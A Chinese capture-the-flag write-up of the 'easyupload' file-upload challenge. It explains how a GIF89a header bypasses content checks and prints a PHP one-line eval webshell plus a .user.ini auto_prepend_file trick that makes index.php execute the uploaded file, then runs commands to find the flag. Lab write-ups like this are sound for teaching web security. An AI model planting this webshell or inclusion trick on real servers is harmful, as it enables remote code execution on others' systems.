攻防世界: easyupload

攻防世界: easyupload

本次使用到的知识点如下:

  1. .user.ini文件的作用:

    .user.ini 是PHP的用户级配置文件 ,我们可以借助.user.ini轻松让所有php文件都"自动"包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

    • auto_prepend_file :在每个 PHP 文件开头自动插入另一个文件

    • auto_append_file :在每个 PHP 文件结尾自动插入另一个文件

bash 复制代码
auto_prepend_file = shell.jpg		
auto_append_file = /tmp/evil.php
  1. jepg的文件头部:GIF89a, 可以通过这个文件头部绕过文件内容的检查(网站常规的检查方式包括:前端判断后缀名,前端检查文件头部、后端通过请求头中的content-type, 后端文件名后缀、以及后端检查文件头部的内容
    • 对于前端检查,都可以很容易通过抓包的方式轻易绕过
    • 对于后端的检查,我们只能尽量满足它的需求,后缀检查我们就只能让后缀符合要求,或者文件头部符合要求。

题目描述

题目就两个按钮一个选择文件,另一个提交。

上传文件

由于这个题目是我第一次接触文件上传相关的漏洞,因此我自己尝试了一下就看题解了。

对于文件上传漏洞我总结了下面的思路:

  1. 想办法绕过文件上传的检查,你不能让前端和后端检查到你上传的文件不符合他们的要求,前端一般可以通过抓包改包来绕过,后端则测试其检查的内容,比如是否根据你传递的请求里面的content-type来决定。一般来说可以根据文件后缀、文件头部、content-type, 我们可以考虑从这几个的绕过着手
  2. 找到文件上传后的url连接 ,因为我们上传的文件我们需要让其中的代码被执行,如果上传的是php文件,访问对应的php文件就能够让里面的代码得到执行。本题需要利用配置文件.user.ini将我们上传的木马文件包含到正常的index.php文件中,才能使得我们的代码得到执行。
  3. 访问带木马文件的链接,然后传递我们需要的命令。

首先上传木马文件,文件的内容如下:

bash 复制代码
GIF89a
<?=eval($_GET['test'])?>

其反馈的结果如下图所示,还直接的告诉了我们上传的文件的路径/uploads/xxx!!!

尝试访问该路劲下的php文件,因为我们想要让我们的代码得到执行,直接访问我们上传的图片,php的解析引擎不会觉得我们访问的文件是代码,就不会执行。

如何让index.php包含我们上传的代码

这个就是用到了.user.ini文件的功能了,当服务器配置了这个功能的使用的时候,我们这个配置文件通过下面的配置,可以在每一个当前目录下的php文件的开头处导入我们配置的文件。

bash 复制代码
GIF89a
auto_prepend_file=test.jpg

再次访问index.php,本次访问就会将我们的代码包含

接下来就是传递我们想要执行的命令了!!!

由于前面我们的一句话木马是<?=eval($_GET['test'])?>, 因此我们在get参数中传递我们需要的命令即可,使用ls命令看看是否能执行,结果如下:

使用find命令找到可疑的文件,如下:

查看flag文件,得到结果

相关推荐
清风徐来QCQ4 小时前
js中的模板字符串
开发语言·前端·javascript
成都渲染101云渲染66664 小时前
Houdini+Blender高效渲染方案(高配算力+全渲染器兼容)
前端·系统架构
SuperEugene4 小时前
Vue3 + Element Plus 表格实战:批量操作、行内编辑、跨页选中逻辑统一|表单与表格规范篇
开发语言·前端·javascript
极梦网络无忧5 小时前
基于 Vite + Vue3 的组件自动注册功能
前端·javascript·vue.js
Predestination王瀞潞5 小时前
5.4.3 通信->WWW万维网内容访问标准(W3C):WWW(World Wide Web) 协议架构(分层)
前端·网络·网络协议·架构·www
爱学习的程序媛5 小时前
【Web前端】优化Core Web Vitals提升用户体验
前端·ui·web·ux·用户体验
zabr5 小时前
花了 100+ 篇笔记,我整理出 了一套 AI Agent 工程完全指南
前端·后端·agent
软弹5 小时前
深入理解 React Ref 机制:useRef 与 forwardRef 的协作原理
前端·javascript·react.js
YaHuiLiang5 小时前
Ai Coding浪潮下的前端:“AI在左,裁员在右”
前端
雪碧聊技术5 小时前
前端vue代码架子搭建
前端·javascript·vue.js·前端项目代码框架搭建